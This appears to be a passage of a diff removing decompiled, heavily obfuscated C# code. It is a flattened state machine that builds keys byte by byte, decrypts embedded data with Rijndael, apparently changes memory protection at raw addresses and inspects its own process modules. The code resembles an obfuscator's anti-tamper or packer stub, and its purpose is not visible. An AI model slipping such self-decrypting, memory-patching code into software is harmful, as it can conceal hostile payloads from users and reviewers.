num1 = 412; - continue; - case 70: - numArray2[6] = (byte) num6; - num4 = 16; - if (true) - goto label_212; - else - goto case 267; - case 71: - numArray1[21] = (byte) num5; - num1 = 302; - continue; - case 72: - numArray2[2] = (byte) (68 + 115); - num4 = 443; - goto label_212; - case 73: - numArray2[11] = (byte) num7; - num26 = 285; - goto label_211; - case 74: - num2 = 86 + 110; - num4 = 339; - if (!GeQKoeh9BTa5jMZgSa.y0PBiB6B5OhOLbgxYY()) - goto case 84; - else - goto label_212; - case 75: - numArray1[11] = (byte) (14 + 38); - num4 = 417; - goto label_212; - case 76: - if (numArray4 != null) - { - num26 = 363; - goto label_211; - } - else - goto case 406; - case 77: - numArray1[29] = (byte) num5; - num4 = 243; - if (true) - goto label_212; - else - goto case 242; - case 78: - if (GeQKoeh9BTa5jMZgSa.tH6uFbRWCcs1RpF0qY() != 4) - { - num8 = GeQKoeh9BTa5jMZgSa.SE93HMvQR47k3Q6UJF(num21); - num4 = 428; - if (!GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto label_212; - else - goto case 22; - } - else - { - num1 = 121; - continue; - } - case 79: - numArray1[26] = (byte) (120 + 10); - num26 = 195; - goto label_211; - case 80: - num2 = 227 + 21; - num1 = 56; - continue; - case 81: - numArray1[9] = (byte) (35 + 87); - num4 = (int) byte.MaxValue; - goto label_212; - case 82: - numArray5[3] = (byte) 111; - num4 = 172; - if (!GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto label_212; - else - goto case 347; - case 83: - numArray1[13] = (byte) (199 - 66); - num26 = 429; - goto label_211; - case 84: - numArray2[13] = (byte) num6; - num1 = 320; - continue; - case 85: - num22 = GeQKoeh9BTa5jMZgSa.pfaJQafJNpIonJSccw((object) binaryReader); - num4 = 238; - goto label_212; - case 86: - num5 = 253 - 84; - num26 = 174; - goto label_211; - case 87: - GeQKoeh9BTa5jMZgSa.dIDQKm2twYV6etykHj(num24, GeQKoeh9BTa5jMZgSa.pfaJQafJNpIonJSccw((object) binaryReader)); - num1 = 231; - continue; - case 88: - num5 = 29 + 63; - num1 = 158; - continue; - case 89: - num2 = 66 + 2; - num1 = 217; - continue; - case 90: - numArray1[6] = (byte) num2; - num26 = 102; - goto label_211; - case 91: - num5 = 225 - 75; - num1 = 353; - continue; - case 92: - numArray2[5] = (byte) (103 + 121); - num4 = 193; - if (GeQKoeh9BTa5jMZgSa.y0PBiB6B5OhOLbgxYY()) - goto label_212; - else - goto case 366; - case 93: - numArray1[10] = (byte) num5; - num4 = 0; - if (GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto case 437; - else - goto label_212; - case 94: - GeQKoeh9BTa5jMZgSa.Wtd0r3S1V(new IntPtr(num8), GeQKoeh9BTa5jMZgSa.tH6uFbRWCcs1RpF0qY(), 4, ref num23); - num26 = 444; - goto label_211; - case 95: - numArray1[24] = (byte) (114 + 73); - num26 = 432; - goto label_211; - case 96: - num2 = 188 - 62; - num4 = 150; - goto label_212; - case 97: - case 439: - num5 = 22 + 67; - num1 = 184; - continue; - case 98: - num2 = 74 + 23; - num26 = 130; - goto label_211; - case 99: - // ISSUE: type reference - mlCjsxbEl5Y5bhii = (GeQKoeh9BTa5jMZgSa.OuMlCJsxbEl5Y5bhii) GeQKoeh9BTa5jMZgSa.cNqqVl5fuM1unfSuQP(num18, GeQKoeh9BTa5jMZgSa.TrTahvrjSfIikSswxu(__typeref (GeQKoeh9BTa5jMZgSa.OuMlCJsxbEl5Y5bhii))); - num4 = 18; - if (GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto case 423; - else - goto label_212; - case 100: - num6 = 158 - 52; - num26 = 430; - goto label_211; - case 101: - // ISSUE: type reference - if (GeQKoeh9BTa5jMZgSa.W5RU9FbmhtJ9QGthMs(GeQKoeh9BTa5jMZgSa.WcR2d1pZtDjjAhGKrL((object) GeQKoeh9BTa5jMZgSa.TrTahvrjSfIikSswxu(__typeref (GeQKoeh9BTa5jMZgSa)).Assembly)).Length == 2) - { - num26 = 357; - goto label_211; - } - else - break; - case 102: - num2 = 119 + 16; - num26 = 365; - goto label_211; - case 103: - numArray2[14] = (byte) num7; - num1 = 374; - continue; - case 104: - numArray1[2] = (byte) (146 - 48); - num4 = 207; - if (true) - goto label_212; - else - goto case 227; - case 105: - numArray1[6] = (byte) (250 - 83); - num1 = 447; - continue; - case 106: - numArray1[12] = (byte) (22 + 83); - num26 = 141; - goto label_211; - case 107: - numArray1[13] = (byte) (9 + 69); - num4 = 83; - if (GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto case 40; - else - goto label_212; - case 108: - numArray3[9] = numArray4[4]; - num26 = 191; - goto label_211; - case 109: - try - { - // ISSUE: type reference - GeQKoeh9BTa5jMZgSa.tE4InJRtL = (GeQKoeh9BTa5jMZgSa.COIHxETffF7HTvGLbQ) GeQKoeh9BTa5jMZgSa.cNqqVl5fuM1unfSuQP(new IntPtr(num9), GeQKoeh9BTa5jMZgSa.TrTahvrjSfIikSswxu(__typeref (GeQKoeh9BTa5jMZgSa.COIHxETffF7HTvGLbQ))); - } - catch - { - try - { - // ISSUE: type reference - Delegate @delegate = (Delegate) GeQKoeh9BTa5jMZgSa.cNqqVl5fuM1unfSuQP(new IntPtr(num9), GeQKoeh9BTa5jMZgSa.TrTahvrjSfIikSswxu(__typeref (GeQKoeh9BTa5jMZgSa.COIHxETffF7HTvGLbQ))); - int num27; - if (!GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - { - num27 = 2; - if (!GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto label_49; - } - else - goto label_50; -label_48: - // ISSUE: type reference - GeQKoeh9BTa5jMZgSa.tE4InJRtL = (GeQKoeh9BTa5jMZgSa.COIHxETffF7HTvGLbQ) GeQKoeh9BTa5jMZgSa.PCsyCasfagul4qDNF9(GeQKoeh9BTa5jMZgSa.TrTahvrjSfIikSswxu(__typeref (GeQKoeh9BTa5jMZgSa.COIHxETffF7HTvGLbQ)), GeQKoeh9BTa5jMZgSa.oOOc9wKlsD9HcpTwZa((object) @delegate)); - goto label_52; -label_49: - switch (num27) - { - case 0: - case 2: - goto label_48; - default: - goto label_52; - } -label_50: - num27 = 3; - goto label_49; - } - catch - { - } - } -label_52: - num12 = 0UL; - num1 = 379; - continue; - case 110: - num5 = 8 + 84; - num4 = 22; - goto label_212; - case 111: - numArray9 = (byte[]) GeQKoeh9BTa5jMZgSa.iZM9lHY9Xv24KO8tyE((object) binaryReader, (int) GeQKoeh9BTa5jMZgSa.luZPR5Ne33DogfLMgu(GeQKoeh9BTa5jMZgSa.XZdhEETY6xnqBNBn85((object) binaryReader))); - num26 = 383; - goto label_211; - case 112: - num7 = 249 - 83; - num4 = 190; - goto label_212; - case 113: - num7 = 39 + 112; - num4 = 242; - if (GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto case 38; - else - goto label_212; - case 114: - numArray2[12] = (byte) (101 - 18); - num4 = 367; - if (true) - goto label_212; - else - goto case 394; - case 115: - num2 = 108 + 67; - num1 = 310; - continue; - case 116: - numArray2[1] = (byte) num7; - num1 = 282; - continue; - case 117: - num2 = 11 + 107; - num26 = 14; - goto label_211; - case 118: - numArray2[5] = (byte) num6; - num4 = 66; - if (true) - goto label_212; - else - goto case 434; - case 119: - num5 = 109 + 20; - num1 = 32; - continue; - case 120: - numArray1[15] = (byte) num2; - num4 = 138; - goto label_212; - case 121: - num8 = (long) GeQKoeh9BTa5jMZgSa.\u00378PpaseDx4Xsw89pwN(num21); - num4 = 55; - goto label_212; - case 122: - num7 = 119 + 16; - num26 = 173; - goto label_211; - case 123: - numArray1[12] = (byte) num5; - num4 = 400; - goto label_212; - case 124: - num7 = 118 + 98; - num26 = 431; - goto label_211; - case 125: - num18 = GeQKoeh9BTa5jMZgSa.mZOK7fXCU(num17, str2); - num26 = 99; - goto label_211; - case 126: - num7 = 125 - 41; - num4 = 265; - if (true) - goto label_212; - else - goto case 433; - case (int) sbyte.MaxValue: - GeQKoeh9BTa5jMZgSa.dIDQKm2twYV6etykHj(num14, index + 1879048192); - num4 = 30; - goto label_212; - case 128: - numArray1[31] = (byte) num2; - num4 = 28; - goto label_212; - case 129: - numArray1[28] = (byte) num5; - num4 = 364; - if (GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto case 128; - else - goto label_212; - case 130: - numArray1[18] = (byte) num2; - num4 = 186; - if (!GeQKoeh9BTa5jMZgSa.y0PBiB6B5OhOLbgxYY()) - goto case 189; - else - goto label_212; - case 131: - numArray1[11] = (byte) (158 - 52); - num4 = 366; - if (true) - goto label_212; - else - goto case 429; - case 132: - numArray1[31] = (byte) (107 + 32); - num1 = 421; - continue; - case 133: - numArray2[0] = (byte) num6; - num4 = 216; - goto label_212; - case 134: - numArray1[17] = (byte) num2; - num26 = 258; - goto label_211; - case 135: - numArray1[26] = (byte) num2; - num26 = 21; - goto label_211; - case 136: - numArray2[3] = (byte) (176 - 74); - num4 = 435; - if (GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto case 325; - else - goto label_212; - case 137: - numArray2[15] = (byte) num7; - num4 = 225; - goto label_212; - case 138: - numArray1[15] = (byte) (26 + 115); - num4 = 313; - if (true) - goto label_212; - else - goto case 69; - case 139: - numArray1[15] = (byte) (74 + 84); - num1 = 156; - continue; - case 140: - numArray5[6] = (byte) 105; - num26 = 244; - goto label_211; - case 141: - numArray1[12] = (byte) (18 + 9); - num26 = 382; - goto label_211; - case 142: - GeQKoeh9BTa5jMZgSa.Bmebl81Sb = true; - num26 = 350; - goto label_211; - case 143: - numArray1[5] = (byte) (17 + 93); - num4 = 376; - if (true) - goto label_212; - else - goto case 144; - case 144: - numArray5[9] = (byte) 100; - num26 = 290; - goto label_211; - case 145: - num2 = 10 + 12; - num1 = 120; - continue; - case 146: - numArray1[7] = (byte) num2; - num26 = 201; - goto label_211; - case 147: - numArray3 = numArray2; - num1 = 362; - continue; - case 148: - numArray2[15] = (byte) num6; - num4 = 321; - if (!GeQKoeh9BTa5jMZgSa.y0PBiB6B5OhOLbgxYY()) - goto case 299; - else - goto label_212; - case 149: - numArray2[6] = (byte) num7; - num1 = 122; - continue; - case 150: - numArray1[20] = (byte) num2; - num1 = 200; - continue; - case 151: - numArray1[7] = (byte) (142 - 47); - num1 = 67; - continue; - case 152: - num5 = 105 + 67; - num1 = 61; - continue; - case 153: - numArray1[27] = (byte) (118 - 68); - num4 = 256; - if (!GeQKoeh9BTa5jMZgSa.y0PBiB6B5OhOLbgxYY()) - goto case 132; - else - goto label_212; - case 154: - numArray1[9] = (byte) num5; - num4 = 292; - if (!GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto label_212; - else - goto case 16; - case 155: - numArray5[4] = (byte) 105; - num4 = 199; - goto label_212; - case 156: - numArray1[16] = (byte) (110 + 7); - num1 = 232; - continue; - case 157: - numArray3[5] = numArray4[2]; - num26 = 251; - goto label_211; - case 158: - numArray1[23] = (byte) num5; - num4 = 41; - goto label_212; - case 159: - numArray2[10] = (byte) (190 - 63); - num26 = 277; - goto label_211; - case 160: - numArray1[6] = (byte) num5; - num1 = 175; - continue; - case 161: - numArray2[7] = (byte) (67 + 40); - num1 = 384; - continue; - case 162: - if (index >= 1879048192) - { - num4 = 248; - if (true) - goto label_212; - else - goto case 30; - } - else - goto case 85; - case 163: - num6 = 113 - 7; - num4 = 220; - goto label_212; - case 164: - // ISSUE: type reference - if (GeQKoeh9BTa5jMZgSa.uJvUl1GpEQlGIOOiSe(GeQKoeh9BTa5jMZgSa.TvbvBw0tnbHiDueqTX((object) GeQKoeh9BTa5jMZgSa.TrTahvrjSfIikSswxu(__typeref (GeQKoeh9BTa5jMZgSa)).Assembly)) == 0) - { - num4 = 372; - if (true) - goto label_212; - else - goto case 163; - } - else - goto case 215; - case 165: - // ISSUE: type reference - if (GeQKoeh9BTa5jMZgSa.WcR2d1pZtDjjAhGKrL((object) GeQKoeh9BTa5jMZgSa.TrTahvrjSfIikSswxu(__typeref (GeQKoeh9BTa5jMZgSa)).Assembly) != null) - { - num4 = 101; - if (true) - goto label_212; - else - goto case 80; - } - else - break; - case 166: - numArray1[24] = (byte) (50 + 17); - num26 = 39; - goto label_211; - case 167: - numArray2[4] = (byte) (219 - 73); - num4 = 124; - if (true) - goto label_212; - else - goto case 390; - case 168: - index = GeQKoeh9BTa5jMZgSa.pfaJQafJNpIonJSccw((object) binaryReader); - num26 = 264; - goto label_211; - case 169: - numArray2[0] = (byte) (57 + 75); - goto case 420; - case 170: - numArray3[15] = numArray4[7]; - num26 = 406; - goto label_211; - case 171: - if (GeQKoeh9BTa5jMZgSa.tH6uFbRWCcs1RpF0qY() != 4) - { - num9 = GeQKoeh9BTa5jMZgSa.SE93HMvQR47k3Q6UJF(new IntPtr(num8)); - num1 = 276; - continue; - } - num4 = 278; - if (true) - goto label_212; - else - goto case 333; - case 172: - numArray5[4] = (byte) 114; - num4 = 368; - if (GeQKoeh9BTa5jMZgSa.y0PBiB6B5OhOLbgxYY()) - goto label_212; - else - goto case 108; - case 173: - numArray2[6] = (byte) num7; - num4 = 403; - goto label_212; - case 174: - numArray1[1] = (byte) num5; - num1 = 260; - continue; - case 175: - num2 = 104 + 34; - num26 = 331; - goto label_211; - case 176: - numArray7[5] = (byte) 116; - num4 = 418; - goto label_212; - case 177: - numArray5[1] = (byte) 115; - num4 = 50; - if (!GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto label_212; - else - goto case 222; - case 178: - numArray1[19] = (byte) num2; - num26 = 197; - goto label_211; - case 179: - numArray2[7] = (byte) (142 - 47); - num4 = 161; - if (true) - goto label_212; - else - goto case 4; - case 180: - numArray1[16] = (byte) num2; - num4 = 65; - if (true) - goto label_212; - else - goto case 278; - case 181: - numArray1[19] = (byte) (52 + 57); - num1 = 304; - continue; - case 182: - numArray1[11] = (byte) num5; - num1 = 424; - continue; - case 183: - transform = (ICryptoTransform) GeQKoeh9BTa5jMZgSa.\u0038cSQZHAeuu03E2BMBG((object) rijndaelManaged, (object) numArray8, (object) numArray3); - num26 = 202; - goto label_211; - case 184: - numArray1[13] = (byte) num5; - num1 = 107; - continue; - case 185: - num2 = 48 + 47; - num4 = 128; - goto label_212; - case 186: - numArray1[18] = (byte) (43 + 71); - num26 = 64; - goto label_211; - case 187: - num2 = 216 - 72; - num1 = 57; - continue; - case 188: - GeQKoeh9BTa5jMZgSa.Wtd0r3S1V(new IntPtr(num8), GeQKoeh9BTa5jMZgSa.tH6uFbRWCcs1RpF0qY(), num23, ref num23); - num1 = 212; - continue; - case 189: - numArray2[9] = (byte) (137 + 102); - num26 = 13; - goto label_211; - case 190: - numArray2[9] = (byte) num7; - num1 = 189; - continue; - case 191: - numArray3[11] = numArray4[5]; - num1 = 416; - continue; - case 192: - numArray1[2] = (byte) num2; - num4 = 104; - if (GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto case 185; - else - goto label_212; - case 193: - num6 = 50 - 46; - num1 = 118; - continue; - case 194: - GeQKoeh9BTa5jMZgSa.yLi1gbEBZ1PVug9d2d((object) rijndaelManaged, CipherMode.CBC); - num1 = 183; - continue; - case 195: - numArray1[27] = (byte) (244 - 81); - num1 = 69; - continue; - case 196: - numArray5[2] = (byte) 114; - num1 = 209; - continue; - case 197: - numArray1[19] = (byte) (176 - 58); - num1 = 96; - continue; - case 198: - numArray1[31] = (byte) num5; - num1 = 132; - continue; - case 199: - numArray5[5] = (byte) 116; - goto case 405; - case 200: - num5 = 2 + 72; - num1 = 59; - continue; - case 201: - numArray1[8] = (byte) (237 - 79); - num1 = 360; - continue; - case 202: - memoryStream = new MemoryStream(); - num4 = 316; - if (true) - goto label_212; - else - goto case 201; - case 203: - goto label_517; - case 204: - num6 = 173 - 57; - num1 = 392; - continue; - case 205: - num7 = 25 + 113; - num4 = 29; - if (GeQKoeh9BTa5jMZgSa.y0PBiB6B5OhOLbgxYY()) - goto label_212; - else - goto case 209; - case 206: - numArray1[18] = (byte) (224 + 24); - num4 = 181; - if (!GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto label_212; - else - goto case 259; - case 207: - numArray1[2] = (byte) (98 + 97); - num4 = 293; - if (GeQKoeh9BTa5jMZgSa.y0PBiB6B5OhOLbgxYY()) - goto label_212; - else - goto case 290; - case 208: - numArray5[9] = (byte) 108; - num26 = 328; - goto label_211; - case 209: - numArray5[3] = (byte) 106; - num4 = 155; - goto label_212; - case 210: - num23 = 0; - num4 = 165; - goto label_212; - case 211: - num5 = 50 - 50; - num26 = 273; - goto label_211; - case 212: - GeQKoeh9BTa5jMZgSa.P6Wt3riVR(); - num4 = 450; - goto label_212; - case 213: - num25 = GeQKoeh9BTa5jMZgSa.djEyqOVTsF3l1k0u38((object) GeQKoeh9BTa5jMZgSa.EJBGECnBT); - num4 = 375; - goto label_212; - case 214: - numArray1[30] = (byte) (64 + 116); - num1 = 311; - continue; - case 215: - num20 = GeQKoeh9BTa5jMZgSa.pfaJQafJNpIonJSccw((object) binaryReader); - num1 = 274; - continue; - case 216: - numArray2[0] = (byte) (25 + 44); - num26 = 6; - goto label_211; - case 217: - numArray1[23] = (byte) num2; - num4 = 119; - if (!GeQKoeh9BTa5jMZgSa.y0PBiB6B5OhOLbgxYY()) - goto case 67; - else - goto label_212; - case 218: - case 276: - process = (Process) GeQKoeh9BTa5jMZgSa.W8XtQRoQ98CC3C1yOf(); - num4 = 237; - goto label_212; - case 219: - numArray1[8] = (byte) num5; - num1 = 261; - continue; - case 220: - numArray2[6] = (byte) num6; - num4 = 179; - if (true) - goto label_212; - else - goto case 253; - case 221: - numArray1[0] = (byte) (44 + 71); - num4 = 291; - if (GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto case 101; - else - goto label_212; - case 222: - numArray2[5] = (byte) (101 + 17); - num1 = 433; - continue; - case 223: - numArray1[23] = (byte) (131 + 27); - num1 = 166; - continue; - case 224: - num7 = 98 + 97; - num1 = 422; - continue; - case 225: - num6 = 4 + 9; - num4 = 148; - if (GeQKoeh9BTa5jMZgSa.y0PBiB6B5OhOLbgxYY()) - goto label_212; - else - goto case 187; - case 226: - numArray2 = new byte[16]; - num26 = 48; - goto label_211; - case 227: - numArray2[12] = (byte) num7; - num26 = 434; - goto label_211; - case 228: - num19 = 0; - num1 = 40; - continue; - case 230: - numArray5 = new byte[10]; - num26 = 330; - goto label_211; - case 231: - GeQKoeh9BTa5jMZgSa.Wtd0r3S1V(num24, 4, num13, ref num13); - num26 = 51; - goto label_211; - case 232: - numArray1[16] = (byte) (213 - 71); - num4 = 322; - goto label_212; - case 233: - numArray1[21] = (byte) (134 + 8); - num4 = 270; - if (true) - goto label_212; - else - goto case 340; - case 234: - numArray1[30] = (byte) (219 - 73); - num4 = 446; - goto label_212; - case 235: - numArray3[3] = numArray4[1]; - num1 = 157; - continue; - case 236: - numArray1[4] = (byte) (118 + 98); - num1 = 54; - continue; - case 237: - try - { - IEnumerator enumerator = (IEnumerator) GeQKoeh9BTa5jMZgSa.\u0030ACXJcZ6vmkKQXVljZ((object) (ProcessModuleCollection) GeQKoeh9BTa5jMZgSa.opO4tkOFpYoVc6VAKp((object) process)); - try - { - // ISSUE: type reference - do - { - ProcessModule processModule; - int num28; - int num29; - if (GeQKoeh9BTa5jMZgSa.dK37CDWTVAdtxG382N((object) enumerator)) - { - processModule = (ProcessModule) GeQKoeh9BTa5jMZgSa.OIyVWRxoM6V9XhwKJ0((object) enumerator); - if (GeQKoeh9BTa5jMZgSa.y0PBiB6B5OhOLbgxYY()) - { - num29 = 5; - goto label_470; - } - else - num28 = 1; - } - else - goto label_475; -label_468: - int num30 = num28; -label_469: - num29 = num30; -label_470: - switch (num29) - { - case 0: - case 5: - if (GeQKoeh9BTa5jMZgSa.w4C4UN3feRHlLUttV3(GeQKoeh9BTa5jMZgSa.TDDlpZjSFd90OVpNmM((object) processModule), (object) str1)) - { - num28 = 2; - goto label_468; - } - else - continue; - case 1: - goto label_507; - case 2: - if (num9 >= GeQKoeh9BTa5jMZgSa.wbw0WCk7vdwUVwDrOM((object) processModule).ToInt64()) - { - num30 = 3; - if (GeQKoeh9BTa5jMZgSa.y0PBiB6B5OhOLbgxYY()) - goto label_469; - else - goto label_484; - } - else - goto case 6; - case 3: - if (num9 <= GeQKoeh9BTa5jMZgSa.wbw0WCk7vdwUVwDrOM((object) processModule).ToInt64() + (long) GeQKoeh9BTa5jMZgSa.Bjb6U7is3K5rUHHve9((object) processModule)) - continue; - goto case 6; - case 4: - goto label_503; - case 6: - continue; - case 7: - goto label_484; - default: - num30 = 6; - goto label_469; - } -label_475: - num29 = 7; - goto label_470; - } - while (GeQKoeh9BTa5jMZgSa.WcR2d1pZtDjjAhGKrL((object) GeQKoeh9BTa5jMZgSa.TrTahvrjSfIikSswxu(__typeref (GeQKoeh9BTa5jMZgSa)).Assembly) == null); - goto label_499; -label_507: - return; -label_503: - return; -label_499: - return; - } - finally - { - if (enumerator is IDisposable disposable) - GeQKoeh9BTa5jMZgSa.V8K0MuBHcbcUCWpNQY((object) disposable); - } - } - catch - { - } -label_484: - try - { - IEnumerator enumerator = (IEnumerator) GeQKoeh9BTa5jMZgSa.\u0030ACXJcZ6vmkKQXVljZ((object) (ProcessModuleCollection) GeQKoeh9BTa5jMZgSa.opO4tkOFpYoVc6VAKp((object) process)); - try - { -label_497: - ProcessModule processModule; - int num31; - if (GeQKoeh9BTa5jMZgSa.dK37CDWTVAdtxG382N((object) enumerator)) - { - processModule = (ProcessModule) GeQKoeh9BTa5jMZgSa.OIyVWRxoM6V9XhwKJ0((object) enumerator); - num31 = 0; - } - else - goto label_498; -label_489: - int num32 = num31; -label_490: - int num33 = num32; -label_491: - IntPtr num34; - switch (num33) - { - case 0: - num34 = GeQKoeh9BTa5jMZgSa.wbw0WCk7vdwUVwDrOM((object) processModule); - num32 = 1; - goto label_490; - case 1: - if (num34.ToInt64() != GeQKoeh9BTa5jMZgSa.\u0038pwDLUuUH) - goto label_497; - else - break; - case 2: - case 5: - num10 = 0; - goto label_505; - case 3: - case 4: - case 6: - goto label_505; - } - if (GeQKoeh9BTa5jMZgSa.y0PBiB6B5OhOLbgxYY()) - { - num31 = 5; - goto label_489; - } - else - { - num32 = 4; - goto label_490; - } -label_498: - num33 = 6; - goto label_491; - } - finally - { - if (enumerator is IDisposable disposable) - GeQKoeh9BTa5jMZgSa.V8K0MuBHcbcUCWpNQY((object) disposable); - } - } - catch - { - } -label_505: - GeQKoeh9BTa5jMZgSa.tE4InJRtL = (GeQKoeh9BTa5jMZgSa.COIHxETffF7HTvGLbQ) null; - num4 = 109; - if (true) - goto label_212; - else - goto case 430; - case 238: - numArray6 = (byte[]) GeQKoeh9BTa5jMZgSa.iZM9lHY9Xv24KO8tyE((object) binaryReader, num22); - num4 = 355; - goto label_212; - case 239: - if (GeQKoeh9BTa5jMZgSa.libBYvy1ipJbV2XGC8(num17, IntPtr.Zero)) - { - num4 = 230; - if (GeQKoeh9BTa5jMZgSa.y0PBiB6B5OhOLbgxYY()) - goto label_212; - else - goto case 27; - } - else - goto case 269; - case 240: - if (flag) - { - num26 = (int) sbyte.MaxValue; - goto label_211; - } - else - { - GeQKoeh9BTa5jMZgSa.dIDQKm2twYV6etykHj(num14, index); - num26 = 45; - goto label_211; - } - case 241: - numArray2[11] = (byte) num6; - num1 = 271; - continue; - case 242: - numArray2[8] = (byte) num7; - num4 = 204; - if (GeQKoeh9BTa5jMZgSa.y0PBiB6B5OhOLbgxYY()) - goto label_212; - else - goto case 68; - case 243: - numArray1[29] = (byte) (116 + 32); - num4 = 234; - if (!GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto label_212; - else - goto case 171; - case 244: - numArray5[7] = (byte) 116; - num4 = 352; - goto label_212; - case 245: - num2 = 159 - 53; - num26 = 178; - goto label_211; - case 246: - num5 = 47 + 25; - num4 = 442; - if (!GeQKoeh9BTa5jMZgSa.y0PBiB6B5OhOLbgxYY()) - goto case 214; - else - goto label_212; - case 247: - num2 = 233 - 77; - num1 = 332; - continue; - case 248: - flag = true; - num26 = 37; - goto label_211; - case 249: - numArray1[17] = (byte) num5; - num1 = 98; - continue; - case 250: - GeQKoeh9BTa5jMZgSa.myWOkssH9 = new byte[GeQKoeh9BTa5jMZgSa.O7UMIrWKl.Length][]; - num4 = 296; - goto label_212; - case 251: - numArray3[7] = numArray4[3]; - num26 = 108; - goto label_211; - case 252: - num17 = GeQKoeh9BTa5jMZgSa.UUm8PsflX(str1); - num1 = 269; - continue; - case 253: - str1 = (string) GeQKoeh9BTa5jMZgSa.MX7NIVmGO0lOjl8Lmi(GeQKoeh9BTa5jMZgSa.jSP5qnHxsE3naq1SKj(), (object) numArray5); - num1 = 63; - continue; - case 254: - // ISSUE: type reference - num16 = GeQKoeh9BTa5jMZgSa.L4d8kkteJ8J2YcdktO(GeQKoeh9BTa5jMZgSa.yuH7lPFHHUf53dhuE9((object) GeQKoeh9BTa5jMZgSa.TrTahvrjSfIikSswxu(__typeref (GeQKoeh9BTa5jMZgSa)).Assembly)[0]); - num4 = 286; - if (!GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto label_212; - else - goto case 212; - case (int) byte.MaxValue: - num5 = 134 + 62; - num26 = 287; - goto label_211; - case 256: - num5 = 234 - 78; - num1 = 129; - continue; - case 257: - numArray2[14] = (byte) (110 - 48); - num1 = 314; - continue; - case 258: - numArray1[17] = (byte) (139 - 46); - num4 = 347; - goto label_212; - case 259: - numArray1[22] = (byte) (114 - 46); - num4 = 89; - if (true) - goto label_212; - else - goto case 239; - case 260: - numArray1[1] = (byte) (78 + 25); - num26 = 280; - goto label_211; - case 261: - numArray1[8] = (byte) (112 + 84); - num1 = 80; - continue; - case 262: - num2 = 82 + 17; - num4 = 134; - if (!GeQKoeh9BTa5jMZgSa.y0PBiB6B5OhOLbgxYY()) - goto case 288; - else - goto label_212; - case 263: - numArray2[1] = (byte) num7; - num1 = 401; - continue; - case 264: - flag = false; - num4 = 162; - if (!GeQKoeh9BTa5jMZgSa.y0PBiB6B5OhOLbgxYY()) - goto case 87; - else - goto label_212; - case 265: - numArray2[1] = (byte) num7; - num4 = 289; - if (GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto case 216; - else - goto label_212; - case 266: - numArray5[8] = (byte) 108; - num4 = 208; - if (true) - goto label_212; - else - goto case 114; - case 267: - num6 = 106 + 108; - num1 = 306; - continue; - case 268: - numArray2[9] = (byte) (83 + 19); - num1 = 112; - continue; - case 269: - numArray7 = new byte[6]; - num4 = 425; - if (!GeQKoeh9BTa5jMZgSa.y0PBiB6B5OhOLbgxYY()) - goto case 430; - else - goto label_212; - case 270: - numArray1[22] = (byte) (131 - 43); - num1 = 327; - continue; - case 271: - num7 = 107 + 54; - num4 = 73; - if (true) - goto label_212; - else - goto case 279; - case 272: - numArray1[25] = (byte) (125 - 9); - num4 = 35; - if (true) - goto label_212; - else - goto case 269; - case 273: - numArray1[13] = (byte) num5; - num26 = 356; - goto label_211; - case 274: - GeQKoeh9BTa5jMZgSa.pfaJQafJNpIonJSccw((object) binaryReader); - num4 = 228; - goto label_212; - case 275: - numArray1[30] = (byte) num2; - num4 = 214; - if (true) - goto label_212; - else - goto case 137; - case 277: - numArray2[10] = (byte) (173 - 57); - num26 = 27; - goto label_211; - case 278: - num9 = (long) GeQKoeh9BTa5jMZgSa.\u00378PpaseDx4Xsw89pwN(new IntPtr(num8)); - num4 = 218; - if (GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto case 328; - else - goto label_212; - case 279: - numArray2[11] = (byte) num7; - num1 = 295; - continue; - case 280: - numArray1[1] = (byte) (213 + 0); - num26 = 343; - goto label_211; - case 281: - num2 = 64 + 70; - num26 = 146; - goto label_211; - case 282: - numArray2[2] = (byte) (117 + 20); - num26 = 224; - goto label_211; - case 283: - numArray1[0] = (byte) num2; - num1 = 394; - continue; - case 284: - numArray2[2] = (byte) (147 - 49); - num4 = 72; - goto label_212; - case 285: - numArray2[11] = (byte) (243 - 81); - num4 = 307; - if (GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto case 130; - else - goto label_212; - case 286: - int64 = num16.ToInt64(); - num1 = 389; - continue; - case 287: - numArray1[9] = (byte) num5; - num4 = 15; - goto label_212; - case 288: - numArray2[12] = (byte) (107 + 118); - num4 = 408; - if (GeQKoeh9BTa5jMZgSa.vGlMBfqsjX0g1QweVr()) - goto case 423; - else - goto label_212; - case 289: - num7 = 66 - 53; - num1 = 116; - continue; - case 290: - numArray5[10] = (byte) 108; - num4 = 413; - goto label_212; - case 291: - numArray1[0] = (byte) (180 - 60); - num1 = 333; - continue; - case 292: - num5 = 231 - 77; - num26 = 380; - goto label_211; - case 293: - numArray1[2] = (byte) (114 - 65); - num1 = 359; - continue; - case 294: - GeQKoeh9BTa5jMZgSa.wd9Zo3JryPv0dgv1ng((object) binaryReader); - num4 = 2; - goto label_212; - case 295: - num6 = 171 + 15; - num26 = 414; - goto label_211; - case 296: - flag = false; - num1 = 11; - continue; - case 297: - numArray7[3] = (byte) 74; - num4 = 326; - if (!GeQKoeh9BTa5jMZgSa.y0PBiB6B5OhOLbgxYY()) - goto case 407; - else - goto label_212; - case 298: - numArray1[25] = (byte) num2; - num4 = 272; - if (true) - goto label_212; - else - goto case 130; - case 299: - num2 = 178 - 59; - num1 = 90; - 